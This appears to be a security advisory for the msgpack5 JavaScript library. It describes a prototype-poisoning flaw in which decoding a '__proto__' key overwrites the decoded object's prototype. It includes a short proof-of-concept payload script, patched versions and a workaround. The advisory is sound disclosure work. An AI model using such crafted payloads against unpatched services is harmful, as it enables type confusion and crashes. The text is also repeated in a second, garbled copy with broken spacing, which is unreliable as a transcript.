Impact
The issue is as follows: when msgpack5
decodes a map containing a
key "__proto__"
, it assigns the decoded value to __proto__
. As you
are no doubt aware, Object.prototype.__proto__
is an accessor
property for the receiver's prototype. If the value corresponding to
the key __proto__
decodes to an object or null
, msgpack5
sets
the decoded object's prototype to that value.
An attacker who can submit crafted MessagePack data to a service can
use this to produce values that appear to be of other types; may have
unexpected prototype properties and methods (for example length
,
numeric properties, and push
et al if __proto__
's value decodes to
an Array
); and/or may throw unexpected exceptions when used (for
example if the __proto__
value decodes to a Map
or Date
). Other
unexpected behavior might be produced for other types.
There is no effect on the global prototype.
An example:
const msgpack5 = require('msgpack5')();
const payload = {};
Object.defineProperty(payload, '__proto__', {
value: new Map().set(1, 2),
enumerable: true
});
const encoded = msgpack5.encode(payload);
console.log(encoded); // <Buffer 81 a9 5f 5f 70 72 6f 74 6f 5f 5f 81 01 02>
const decoded = msgpack5.decode(encoded);
// decoded's prototype has been overwritten
console.log(Object.getPrototypeOf(decoded)); // Map(1) { 1 => 2 }
console.log(decoded.get); // [Function: get]
// decoded appears to most common typechecks to be a Map
console.log(decoded instanceof Map); // true
console.log(decoded.toString()); // [object Map]
console.log(Object.prototype.toString.call(decoded)); // [object Map]
console.log(decoded.constructor.name); // Map
console.log(Object.getPrototypeOf(decoded).constructor.name); // Map
// decoded is not, however, a Map
console.log(Object.getPrototypeOf(decoded) === Map.prototype); // false
// using decoded as though it were a Map throws
try {
decoded.get(1);
} catch (error) {
console.log(error); // TypeError: Method Map.prototype.get called
// on incompatible receiver #<Map>
}
try {
decoded.size;
} catch (error) {
console.log(error); // TypeError: Method get Map.prototype.size
// called on incompatible receiver #<Map>
}
// re-encoding the decoded value throws
try {
msgpack5.encode(decoded);
} catch (error) {
console.log(error); // TypeError: Method Map.prototype.entries
// called on incompatible receiver #<Map>
}
This "prototype poisoning" is sort of a very limited inversion of a
prototype pollution attack. Only the decoded value's prototype is
affected, and it can only be set to msgpack5
values (though if the
victim makes use of custom codecs, anything could be a msgpack5
value). We have not found a way to escalate this to true prototype
pollution (absent other bugs in the consumer's code).
Patches
Versions v5.2.1, v4.5.1, v3.6.1 include the fix.
Workarounds
Always validate incoming data after parsing before doing any processing.
For more information
If you have any questions or comments about this advisory:
Impact
The issue is as follows: when
msgpack5
decodes a map containing akey
"__proto__"
, it assigns the decoded value to__proto__
. As youare no doubt aware,
Object.prototype.__proto__
is an accessorproperty for the receiver's prototype. If the value corresponding to
the key
__proto__
decodes to an object ornull
,msgpack5
setsthe decoded object's prototype to that value.
An attacker who can submit crafted MessagePack data to a service can
use this to produce values that appear to be of other types; may have
unexpected prototype properties and methods (for example
length
,numeric properties, and
push
et al if__proto__
's value decodes toan
Array
); and/or may throw unexpected exceptions when used (forexample if the
__proto__
value decodes to aMap
orDate
). Otherunexpected behavior might be produced for other types.
There is no effect on the global prototype.
An example:
This "prototype poisoning" is sort of a very limited inversion of a
prototype pollution attack. Only the decoded value's prototype is
affected, and it can only be set to
msgpack5
values (though if thevictim makes use of custom codecs, anything could be a
msgpack5
value). We have not found a way to escalate this to true prototype
pollution (absent other bugs in the consumer's code).
Patches
Versions v5.2.1, v4.5.1, v3.6.1 include the fix.
Workarounds
Always validate incoming data after parsing before doing any processing.
For more information
If you have any questions or comments about this advisory: